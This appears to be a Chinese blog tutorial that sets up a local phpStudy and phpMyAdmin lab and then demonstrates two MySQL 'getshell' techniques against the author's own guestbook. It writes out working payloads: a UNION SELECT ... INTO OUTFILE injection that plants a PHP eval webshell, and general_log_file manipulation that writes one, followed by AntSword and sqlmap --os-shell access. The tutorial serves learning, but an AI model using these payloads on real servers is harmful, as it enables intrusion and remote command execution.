mysql转义字符_巧用mysql注入getshell!

环境准备:

  1. phpstudy的安装
    在官网下载phpstudy
    下载地址:
    1. 64位:http://public.xp.cn/upgrades/phpStudy_64.7z
    2. 32位:http://public.xp.cn/upgrades/phpStudy_32.7z

cb7ea2553bbded09afb388b31bb1dbc5.png

安装好后如图所示

c3a9f84726b9fc4f038b1a69d28c1a28.png

配置好环境变量如图(系统变量)

2.phpmyadmin的安装及配置

在官网下载安装包

06b7dd1077eda67664c36bda63a948a5.png

解压后放到phpstudy 的www目录,确保可以访问

参考配置phpmyadmin

1、直接到官网下载文件,phpMyAdmin-4.3.7-all-languages.zip

2、解压到web目录下,命名为phpMyAdmin

3、配置config文件 ,打开libraries下的config.default.php文件,依次找到下面各项,按照说明配置即可:

(1)访问网址

$cfg['PmaAbsoluteUri'] = '';这里填写phpmyadmin的访问网址 ,我这里为http://localhost:8088/phpMyAdmin

(2)mysql主机信息

$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address

填写localhost或mysql所在服务器的ip地址,如果mysql和该phpmyadmin在同一服务器,则按默认localhost

$cfg['Servers'][$i]['port'] = ''; // MySQL port - leave blank for default port

mysql端口,如果是默认3306,保留为空即可。

(3)mysql用户名和密码

$cfg['Servers'][$i]['user'] = 'root'; // MySQL user 访问phpmyadmin使用的mysql用户名  fg['Servers'][$i]['password'] = ''; // MySQL password (only needed对应上述mysql用户名的密码

(4)认证方法

$cfg['Servers'][$i]['auth_type'] = 'cookie';

在此有四种模式可供选择,cookie,http,HTTP,config

config方式即输入phpmyadmin的访问网址即可直接进入,无需输入用户名和密码,是不安全的,不推荐使用。

当该项设置为cookie,http或HTTP时,登录phpmyadmin需要数据用户名和密码进行验证,,具体如下:

PHP安装模式为Apache,可以使用http和cookie;

PHP安装模式为CGI,可以使用cookie

(5)短语密码(blowfish_secret)的设置

$cfg['blowfish_secret'] = '';

如果认证方法设置为cookie,就需要设置短语密码,置于设置为什么密码,由自己决定 ,但是不能留空,否则登录phpmyadmin时提示错误。

最后就会安装完成!

配置成功后,访问自己的127.0.0.1端口下的phpmyadmin目录

如果出现报错

Warning: Unsupported declare 'strict_types' in D:\phpstudy_pro\WWW\phpmyadmin\index.php on line 8Parse error: syntax error, unexpected 'class' (T_CLASS), expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in D:\phpstudy_pro\WWW\phpmyadmin\index.php on line 63

可能是php版本问题,可切换php7及以上版本解决此问题

a27c606f907bf5677e98f935ba1c31ed.png

d05aa263156172d1370899efa338acbc.png

配置成功后访问路径127.0.0.1/phpmyadmin

可以看见phpmyadmin的登陆页面

Mysql Getshell漏洞利用

前提条件:

  1. 知道网站的绝对路径(通过网页的404页面,报错或者phpinfo)

  2. Gpc没有开启,单引号不会被转义(若被转义,则无法执行正常的sql语句)

    GPC:magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染    

  3. 要有file权限,默认下只有root有此权限

  4. 对目录要有写的权限,一般image之类的存放突破的目录就有

  5. 没有配置secure-file-priv

漏洞复现1(利用写入的权限):

查询secure_file_priv的开启状态

利用show global variables like '%secure%' 语句查询开启secure_file_priv的状态

825fc93c392621dc4d3e09bf345e6b86.png

secure_file_priv的Value值为NUll代表着限制了mysql不允许导入和导出

要是想使语句导出成功,需要在mysql文件夹下配置my.ini

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入导出做限制

在[mysqld]内加入secure_file_priv ="" 即可

a9a19d12aa74b0f07557f153f1c68b19.png

选择自己的留言板作为靶场,找到一个传id的地方

b964a3dd8634206692260cbf8c9f75fb.png

测试可知为整型的注入,and 1=1正常 and 1=2报错,利用order by 可以查询到列数为9

b3e9f7241acc890b78dd6a44ba9cbc58.png

利用文件写入权限写入一句话木马

union select 1,"<?php @eval($_POST['a']);?>",3,4,5,6,7,8,9 into outfile 'D:/phpstudy_pro/WWW/liuyanban/a1.php'

这里需要注意/或者\\是正确的,\是不正确的

8d53166538baf8975091e9e79ea38530.png

1422ca0e74c94a7da50c8ecd32318baa.png

绝对路径是按照报错返回的值确定的

上传成功后利用蚁剑链接,即可getshell

729c6a6dd91b4bad9306d4ebfbbe7a98.png

漏洞复现2(利用日志文件getshell):

首先知道phpmyadmin的账号密码,利用弱口令可以得到

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。

首先查看日志的状态

show variables like '%general%';

c93fe7774914d1ce96b877d00d99597a.png

可以知道sql语法的执行日志存放在LAPTOP-1DSIFCE7.log文件中

如果修改general_log_file的值,就会把执行的sql语句放到特定的路径,进而可以getshell

利用命令SET GLOBAL general_log='on'可以开启日志文件的存放

SET GLOBAL general_log='on'

936e8eba809080a4821888ed2869e8f4.png

执行完此命令可以利用查询语句查看到general_log成功开启

1c17eb3c351d0657099ec82d36c8c044.png

然后设置general_log_file的Value值为www目录下的文件路径(前提是已经知道绝对路径)

利用命令

SET GLOBAL general_log_file='D:/phpstudy_pro/WWW/test.php'

                                                                注意反斜杠的转义

51c17bbc1ace60daa8d2efa960378944.png

执行成功可以在目录下看见test.php文件

b5fcc598f3a039d16e42f520d7c433cd.png

由于执行的语法都会存放在设置的这个文件中,那么我们就可以利用select语句写入一句话木马

SELECT '<?php eval($_POST["cmd"]);?>

a1543473d3312b1e8884c5829154d441.png

可以在test.php文件中看到自己写的语法

d0eeed569d0cc8be1f0485fc9102f00a.png

使用菜刀蚁剑等shell工具可以getshell

a6f1f223dbff0025ea5e4b9a8dfe380e.png

也可以在sqlmap里加上--os-shell参数一键getshell!

80d2a9e209ffebe1e3fdab88b595a2fb.png

d170852b32c46a890437cb5d82768cb7.png

选择web支持的语言和需要连接的用户

bfe4a1e1f6cc0f797a69629eca41c49c.png

输入ipconfig后确认即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值